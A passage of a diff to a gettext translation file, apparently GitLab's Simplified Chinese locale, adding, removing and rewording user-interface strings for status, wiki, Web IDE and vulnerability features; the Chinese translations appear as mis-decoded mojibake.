+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
+msgstr ""
msgid "SetStatusModal|Add status emoji"
msgstr "添加状æ€è¡¨æƒ…"
@@ -27216,6 +27912,9 @@ msgstr "忙碌"
msgid "SetStatusModal|Clear status"
msgstr "清除状æ€"
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr "编辑状æ€"
@@ -27237,6 +27936,9 @@ msgstr "状æ€å·²æ›´æ–°"
msgid "SetStatusModal|What's your status?"
msgstr "您的状æ€æ˜¯ä»€ä¹ˆï¼Ÿ"
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr "å°†%{epic_ref}设置为父å²è¯—。"
@@ -27440,9 +28142,15 @@ msgstr[0] "显示%{count}个项目"
msgid "Showing %{limit} of %{total_count} issues. "
msgstr "显示%{total_count}个议题中的%{limit}项. "
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr "显示%{total}议题中的%{pageSize}项"
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr "显示所有议题"
@@ -27461,6 +28169,9 @@ msgstr "显示版本#%{versionNumber}"
msgid "Side-by-side"
msgstr "并排"
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr "指定å¥åº·çŠ¶æ€"
@@ -27701,6 +28412,9 @@ msgstr "有人与您åŒæ—¶ç¼–辑了%{issueType} 。æ述已被更新,您需è¦
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr "有人您åŒæ—¶ç¼–辑了这一åˆå¹¶è¯·æ±‚。请刷新页é¢æŸ¥çœ‹æ›´æ”¹ã€‚"
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28379,15 +29093,15 @@ msgstr "状æ€:"
msgid "Status: %{title}"
msgstr "状æ€: %{title}"
+msgid "StatusPage|AWS %{docsLink}"
+msgstr ""
+
msgid "StatusPage|AWS Secret access key"
msgstr "AWS秘密访问密钥"
msgid "StatusPage|AWS access key ID"
msgstr "AWS访问密钥ID"
-msgid "StatusPage|AWS documentation"
-msgstr "AWS文档"
-
msgid "StatusPage|AWS region"
msgstr "AWS区域"
@@ -28400,9 +29114,6 @@ msgstr "存储桶%{docsLink}"
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr "é…置文件存储设置,将此项目中的议题链接到外部状æ€é¡µé¢ã€‚"
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr "如需é…置帮助,请访问%{docsLink}"
-
msgid "StatusPage|S3 Bucket name"
msgstr "S3存储桶å称"
@@ -28415,8 +29126,8 @@ msgstr "状æ€é¡µç½‘å€"
msgid "StatusPage|Status page frontend documentation"
msgstr "状æ€é¡µé¢å‰ç«¯æ–‡æ¡£"
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
-msgstr "è¦åœ¨å¤–部状æ€é¡µé¢å‘布事件,GitLab需è¦Amazon S3 å¸æˆ·ä¸­å­˜å‚¨ä¸€ä¸ªJSON文件,存放在您的外部状æ€é¡µé¢æœåŠ¡å¯ä»¥è®¿é—®çš„ä½ç½®ã€‚ 请确ä¿åŒæ—¶è®¾ç½®%{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
+msgstr ""
msgid "StatusPage|configuration documentation"
msgstr "é…置文档"
@@ -28505,9 +29216,6 @@ msgstr "å­å¯†é’¥"
msgid "Submit"
msgstr "æ交"
-msgid "Submit %{humanized_resource_name}"
-msgstr "æ交%{humanized_resource_name}"
-
msgid "Submit a review"
msgstr "æ交评审"
@@ -28523,9 +29231,6 @@ msgstr "æ交更改..."
msgid "Submit feedback"
msgstr "æ交å馈"
-msgid "Submit issue"
-msgstr "æ交议题"
-
msgid "Submit review"
msgstr "æ交评审"
@@ -28583,9 +29288,6 @@ msgstr "订阅已æˆåŠŸåˆ é™¤ã€‚"
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr "加载收费æˆå‘˜åˆ—表时å‘生错误"
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr "加载订阅信æ¯æ—¶å‘生错误。"
@@ -29209,6 +29911,10 @@ msgstr "测试用例对此项目ä¸é€‚用"
msgid "Test coverage parsing"
msgstr "测试覆盖率解æž"
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] "测试覆盖率: %d次命中"
@@ -29364,9 +30070,6 @@ msgstr[0] "%{type} 包å«ä»¥ä¸‹é”™è¯¯ï¼š"
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr "GitLab中的高级æœç´¢åŠŸèƒ½æ˜¯éžå¸¸å¼ºå¤§çš„æœç´¢æœåŠ¡ã€‚您å¯ä»¥æœç´¢å…¶ä»–团队的代ç ä»¥å¸®åŠ©æ‚¨å®Œå–„自己项目中的代ç ã€‚从而é¿å…创建é‡å¤çš„代ç æˆ–浪费时间。"
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr "CSV导出将在åŽå°åˆ›å»ºã€‚完æˆåŽï¼Œå®ƒå°†ä»¥é™„件形å¼å‘é€åˆ°%{strong_open}%{email}%{strong_close}。"
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29439,6 +30142,9 @@ msgstr "当å‰è®®é¢˜"
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr "æ•°æ®æºå·²è¿žæŽ¥ï¼Œä½†æ²¡æœ‰å¯æ˜¾ç¤ºçš„æ•°æ®ã€‚ %{documentationLink}"
@@ -29466,6 +30172,9 @@ msgstr "您输入的域åä¸è¢«å…许。"
msgid "The download link will expire in 24 hours."
msgstr "下载链接将于24å°æ—¶åŽè¿‡æœŸã€‚"
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr "我们é‡åˆ°çš„错误是:"
@@ -29478,6 +30187,9 @@ msgstr "文件已æˆåŠŸåˆ é™¤ã€‚"
msgid "The file name should have a .yml extension"
msgstr "文件å应以.yml扩展"
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr "以下%{user}也å¯ä»¥åˆå¹¶åˆ°è¯¥åˆ†æ”¯ä¸­: %{branch}"
@@ -29539,6 +30251,9 @@ msgstr "该群组将处于“待删除â€çŠ¶æ€"
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "该导入过程将在 %{timeout}åŽè¶…时。对于需è¦é•¿äºŽè¯¥æ—¶é—´æ‰èƒ½å¯¼å…¥çš„仓库,请使用克隆/推é€ç»„åˆã€‚"
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr "无法接å—邀请。"
@@ -29599,6 +30314,9 @@ msgstr "æ­¤åˆå¹¶è¯·æ±‚çš„åˆå¹¶å†²çªå·²å¾—到解决。请返回åˆå¹¶è¯·æ±‚。
msgid "The merge request can now be merged."
msgstr "åˆå¹¶è¯·æ±‚现在å¯ä»¥åˆå¹¶äº†ã€‚"
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr "å称“%{name}â€åœ¨æ­¤ç›®å½•ä¸­å·²ä½¿ç”¨ã€‚"
@@ -29671,6 +30389,9 @@ msgstr "匿å化数æ®æœé›†å·²ç¦ç”¨ã€‚该功能å¯ç”¨æ—¶ï¼ŒGitLab会è¿è¡ŒåŽ
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr "远程仓库镜åƒè¶…时未完æˆã€‚"
@@ -29722,6 +30443,9 @@ msgstr "指定标签页无效,请选择å¦ä¸€ä¸ª"
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr "预å‘布阶段概述了从åˆå¹¶è¯·æ±‚被åˆå¹¶åˆ°éƒ¨ç½²è‡³ç”Ÿäº§çŽ¯å¢ƒçš„总时间。首次部署到生产环境åŽï¼Œæ•°æ®å°†è‡ªåŠ¨æ·»åŠ åˆ°æ­¤å¤„。"
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr "下表的状æ€ä»…适用于默认分支,并且基于%{linkStart}最新的æµæ°´çº¿%{linkEnd}。为默认分支é…置了扫æåŽï¼Œæ‚¨åˆ›å»ºçš„所有åŽç»­åŠŸèƒ½åˆ†æ”¯éƒ½å°†åŒ…å«è¯¥æ‰«æ。"
@@ -29770,6 +30494,12 @@ msgstr "æä¾›å˜é‡çš„值超过了%{count}字符é™åˆ¶"
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr "当CI/CDé…置文件语法有效时,å¯è§†åŒ–视图将出现在此选项å¡ä¸‹ã€‚"
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr "æ¼æ´žå·²ä¸å†è¢«æ£€æµ‹åˆ°ã€‚请在更改其状æ€å‰ç¡®ä¿æ¼æ´žå·²ä¿®å¤æˆ–移除。"
@@ -29797,6 +30527,9 @@ msgstr "没有与此账户关è”çš„SSH密钥。"
msgid "There are no SSH keys with access to your account."
msgstr "没有å¯è®¿é—®æ‚¨å¸æˆ·çš„SSH密钥。"
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr "当å‰å°šæ— å·²å½’档的项目"
@@ -29830,9 +30563,6 @@ msgstr "没有为此GitLab实例设置自定义项目模æ¿ã€‚它们是从GitLab
msgid "There are no issues to show"
msgstr "当å‰æ— è®®é¢˜"
-msgid "There are no issues to show."
-msgstr "没有è¦æ˜¾ç¤ºçš„议题。"
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30076,6 +30806,9 @@ msgstr "é‡ç½®ç”µå­é‚®ä»¶ä»¤ç‰Œæ—¶å‡ºé”™ã€‚"
msgid "There was an error when subscribing to this label."
msgstr "订阅此标记时出错。"
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr "å–消订阅此标记时出错。"
@@ -30214,8 +30947,8 @@ msgstr "此看æ¿èŒƒå›´ç¼©å°äº†"
msgid "This chart could not be displayed"
msgstr "无法显示此图表"
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
-msgstr "此评论自您开始编辑以æ¥å·²å‘生改å˜ï¼Œè¯·æŸ¥çœ‹ %{startTag}更新的评论%{endTag} ,以确ä¿ä¿¡æ¯ä¸ä¼šä¸¢å¤±ã€‚"
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr "æ­¤æ交是åˆå¹¶è¯·æ±‚ %{link_to_merge_request} 的一部分。此处创建的评论将在该åˆå¹¶è¯·æ±‚的上下文中创建。"
@@ -30298,6 +31031,9 @@ msgstr ""
msgid "This group"
msgstr "当å‰ç¾¤ç»„"
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr "此群组ä¸èƒ½è¢«é‚€è¯·åˆ°å¼ºåˆ¶SSO的群组中"
@@ -30307,6 +31043,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr "此群组已安排在%{date}永久删除"
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr "此群组,包括所有å­ç¾¤ç»„ã€é¡¹ç›®å’Œgit仓库,将åªèƒ½ä»ŽæŒ‡å®šçš„IP地å€èŒƒå›´å†…访问。"
@@ -30319,6 +31058,9 @@ msgstr "此群组ã€å…¶å­ç¾¤ç»„和项目将于%{date}被删除,因为其父ç¾
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr "此用户为“幽çµç”¨æˆ·â€ï¼Œç”¨äºŽæŒæœ‰è¢«åˆ é™¤ç”¨æˆ·çš„所有议题。该用户无法被删除。"
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr "这是高级版的功能"
@@ -30625,9 +31367,6 @@ msgstr "这将删除该项目和%{fork_source}之间的派生关系。"
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr "这将删除此项目与派生网络中其他项目之间的派生关系。"
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr "这些电å­é‚®ä»¶è‡ªåŠ¨ç”Ÿæˆä¸ºè®®é¢˜(评论生æˆä¸ºç”µå­é‚®ä»¶ä¼šè¯)并在此处列出。"
-
msgid "Thread to reply to cannot be found"
msgstr "找ä¸åˆ°è¦å›žå¤çš„主题"
@@ -30724,9 +31463,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr "防ç«å¢™å°šæœªå®‰è£…或已被ç¦ç”¨ã€‚è¦æŸ¥çœ‹æ­¤æ•°æ®ï¼Œè¯·ç¡®ä¿å®‰è£…网络应用防ç«å¢™å¹¶ä¸ºæ‚¨çš„集群å¯ç”¨ã€‚"
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr "下图是网络应用程åºé˜²ç«å¢™(WAF)跟踪应用程åºçš„æµé‡æ¦‚览。 请查看文档了解如何访问 WAF 日志,ç†è§£å“ªç§ç±»åž‹çš„æ¶æ„æµé‡è¯•å›¾è®¿é—®æ‚¨çš„应用。 点击下é¢æ ‡é¢˜æ—边的“?â€å›¾æ ‡ä¹Ÿå¯è®¿é—®æ–‡æ¡£é“¾æŽ¥ã€‚"
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31023,6 +31759,15 @@ msgstr "待处ç†"
msgid "To GitLab"
msgstr "GitLab目标路径"
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr "è¦è®¿é—®æ­¤åŸŸï¼Œè¯·åˆ›å»ºæ–°çš„DNS记录"
@@ -31065,9 +31810,6 @@ msgstr "首先请在下é¢è¾“入您的FogBugz URL和登录信æ¯ã€‚下一步,æ
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr "首先请将本页é¢ä¸Žæ‚¨çš„ Jaeger æœåŠ¡å™¨è¿žæŽ¥ï¼Œæˆ–者了解一下如何%{link_start_tag}安装 Jaeger%{link_end_tag}"
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr "首先,请您输入您的 Gitea æœåŠ¡å™¨åœ°å€å’Œä¸€ä¸ª %{link_to_personal_token}。"
@@ -31095,8 +31837,8 @@ msgstr "如需将整个GitLab项目从å¦ä¸€ä¸ªGitLabæœåŠ¡å™¨ç§»åŠ¨æˆ–å¤åˆ¶åˆ°
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr "如需外部仓库仅使用CI/CD功能时,请选择%{strong_open}使用外部仓库è¿è¡ŒCI/CD%{strong_close}。"
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
-msgstr "请将%{link} 页é¢è¿žæŽ¥åˆ°æ‚¨çš„ Jaeger æœåŠ¡å™¨ï¼Œä»¥ä¾¿åœ¨ GitLab 打开并轻æ¾æŸ¥çœ‹è·Ÿè¸ª"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
+msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
msgstr ""
@@ -31200,6 +31942,9 @@ msgstr "切æ¢è¡¨æƒ…符å·èµžèµ"
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr "切æ¢å¯¼èˆª"
@@ -31396,10 +32141,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr "您å¯ä»¥å°†æ‚¨åœ¨ä¸€ä¸ªæ–°ç¾¤ç»„或一个现有群组上é¢è¿›è¡Œè¯•ç”¨ã€‚"
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
-msgstr "您现在ä¸ä¼šèŽ·å¾—å…费试用,但以åŽå¯ä»¥éšæ—¶ç‚¹å‡»å¤´åƒå¹¶é€‰æ‹©â€œå¼€å§‹å…费试用â€æ¥ç»§ç»­æ­¤æµç¨‹ã€‚"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
+msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31534,9 +32279,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr "å¯ç”¨%{strongStart}使用情况检测(usage ping)%{strongEnd}以激活用户活动分æžï¼Œå³%{docLinkStart}世代表%{docLinkEnd}。"
-msgid "Turn on Service Desk"
-msgstr "å¯ç”¨æœåŠ¡å°"
-
msgid "Turn on usage ping"
msgstr "å¯ç”¨ä½¿ç”¨æƒ…况检测(usage ping)"
@@ -31591,6 +32333,12 @@ msgstr "U2Fåªæ”¯æŒåœ¨HTTPS的网站。请è”系管ç†å‘˜èŽ·å¾—更多信æ¯"
msgid "URL"
msgstr "URL"
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr "URL是必需的"
@@ -31993,8 +32741,8 @@ msgstr "å‡çº§æ‚¨çš„订阅计划以å¯ç”¨ç¾¤ç»„Webhook。"
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr "å‡çº§æ‚¨çš„计划以å¯ç”¨æ­¤Jira集æˆåŠŸèƒ½ã€‚"
-msgid "Upgrade your plan to improve Merge Requests."
-msgstr "å‡çº§æ‚¨çš„订阅计划以使用增强的åˆå¹¶è¯·æ±‚。"
+msgid "Upgrade your plan to improve merge requests."
+msgstr ""
msgid "Upload"
msgstr ""
@@ -32002,6 +32750,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr "上传CSV文件"
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr "上传许å¯è¯"
@@ -32098,6 +32849,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr "软件包"
@@ -32296,9 +33050,6 @@ msgstr "使用 %{code_start}::%{code_end} 创建 %{link_start}有范围标签集
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr "在GitLab内部使用æœåŠ¡å°é€šè¿‡ç”µå­é‚®ä»¶ä¸Žç”¨æˆ·è”系(例如æ供客户支æŒï¼‰"
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32350,6 +33101,9 @@ msgstr "用户 %{current_user_username} 已开始使用%{username}的身份"
msgid "User %{username} was successfully removed."
msgstr "用户 %{username} å·²æˆåŠŸåˆ é™¤ã€‚"
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr "用户ID"
@@ -32395,8 +33149,11 @@ msgstr "用户设置"
msgid "User was successfully created."
msgstr "用户已æˆåŠŸåˆ›å»ºã€‚"
-msgid "User was successfully removed from group and any subresources."
-msgstr "å·²æˆåŠŸä»Žç¾¤ç»„和任何å­èµ„æºä¸­åˆ é™¤ç”¨æˆ·ã€‚"
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
+msgstr ""
msgid "User was successfully removed from project."
msgstr "用户已æˆåŠŸä»Žé¡¹ç›®ä¸­åˆ é™¤ã€‚"
@@ -32623,9 +33380,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr "请求访问的用户"
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr "å·²æˆåŠŸæ·»åŠ ç”¨æˆ·ã€‚"
@@ -32692,8 +33446,23 @@ msgstr "价值æµåˆ†æžæ¦‚述了项目从想法到产å“实现的å„阶段所需
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr "我们没有足够的数æ®æ¥æ˜¾ç¤ºæ­¤é˜¶æ®µã€‚"
-msgid "ValueStreamAnalytics|%{days}d"
-msgstr "%{days}天"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
+msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
msgstr "从首个æ交到议题关闭的中ä½æ•°æ—¶é—´ã€‚"
@@ -32701,6 +33470,12 @@ msgstr "从首个æ交到议题关闭的中ä½æ•°æ—¶é—´ã€‚"
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr "从议题创建到关闭的中ä½æ•°æ—¶é—´ã€‚"
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr "默认价值æµä¸å¯åˆ é™¤"
@@ -32850,9 +33625,15 @@ msgstr "查看标记"
msgid "View log"
msgstr "查看日志"
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr "查看åˆå¹¶è¯·æ±‚"
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr "查看待处ç†çš„åˆå¹¶è¯·æ±‚"
@@ -32880,6 +33661,9 @@ msgstr "查看支æŒçš„语言和框架"
msgid "View the documentation"
msgstr "查看文档"
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr "查看此环境最新æˆåŠŸéƒ¨ç½²"
@@ -32889,6 +33673,9 @@ msgstr "查看性能仪表æ¿äºŽ"
msgid "View users statistics"
msgstr "查看用户统计"
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33294,15 +34081,30 @@ msgstr "WebAuthn设备 (%{length})"
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr "WebAuthnåªæ”¯æŒå¯ç”¨äº†HTTPS的网站。您å¯ä»¥è”系管ç†å‘˜èŽ·å¾—更多信æ¯"
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr "åˆå¹¶è¯·æ±‚"
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr "Webhook"
@@ -33477,6 +34279,9 @@ msgstr "如何形容您最åˆé€‚?"
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr "什么是压缩?"
@@ -33574,9 +34379,6 @@ msgstr "安装 Gollum"
msgid "WikiClone|Start Gollum and edit locally"
msgstr "å¯åŠ¨ Gollum 并在本地编辑"
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr "æ示:å¯ä»¥é€šè¿‡å°†è·¯å¾„添加到标题开头æ¥ç§»åŠ¨æ­¤é¡µé¢ã€‚"
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr "在该路径中已ç»æœ‰ä¸€ä¸ªå…·æœ‰ç›¸åŒæ ‡é¢˜çš„页é¢ã€‚"
@@ -33649,18 +34451,6 @@ msgstr "历å²"
msgid "WikiHistoricalPage|most recent version"
msgstr "最新版本"
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
-msgstr "更多示例在 %{docs_link}"
-
-msgid "WikiMarkdownDocs|documentation"
-msgstr "文档"
-
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
-msgstr "è¦é“¾æŽ¥åˆ°(æ–°)页é¢ï¼Œåªéœ€é”®å…¥%{link_example}"
-
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
-msgstr "æ示:您å¯ä»¥æŒ‡å®šæ–°æ–‡ä»¶çš„完整路径。我们将自动创建完整的目录。"
-
msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr "确定è¦åˆ é™¤æ­¤é¡µé¢å—?"
@@ -33673,11 +34463,38 @@ msgstr "删除页é¢%{pageTitle}?"
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
-msgstr "创建%{pageTitle}"
+msgid "WikiPage|Commit message"
+msgstr ""
+
+msgid "WikiPage|Content"
+msgstr ""
+
+msgid "WikiPage|Create %{pageTitle}"
+msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
-msgstr "æ›´æ–°%{pageTitle}"
+msgid "WikiPage|Create page"
+msgstr ""
+
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
+msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr "在这里编写您的内容或将文件拖动到此处..."
@@ -33688,9 +34505,6 @@ msgstr "Wiki"
msgid "Wiki|Create New Page"
msgstr "创建新页é¢"
-msgid "Wiki|Create page"
-msgstr "创建页é¢"
-
msgid "Wiki|Created date"
msgstr "创建日期"
@@ -33703,9 +34517,6 @@ msgstr "新页é¢"
msgid "Wiki|Page history"
msgstr "页é¢åŽ†å²"
-msgid "Wiki|Page title"
-msgstr "页é¢æ ‡é¢˜"
-
msgid "Wiki|Page version"
msgstr "页é¢ç‰ˆæœ¬"
@@ -33766,6 +34577,9 @@ msgstr "在此写评论或拖动您的文件到这里…"
msgid "Write a comment…"
msgstr "å‘表评论..."
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr "写入里程碑æè¿°..."
@@ -33922,6 +34736,12 @@ msgstr "您å¯ä»¥é€šè¿‡è®¿é—®%{link}创建一个新的SSH密钥"
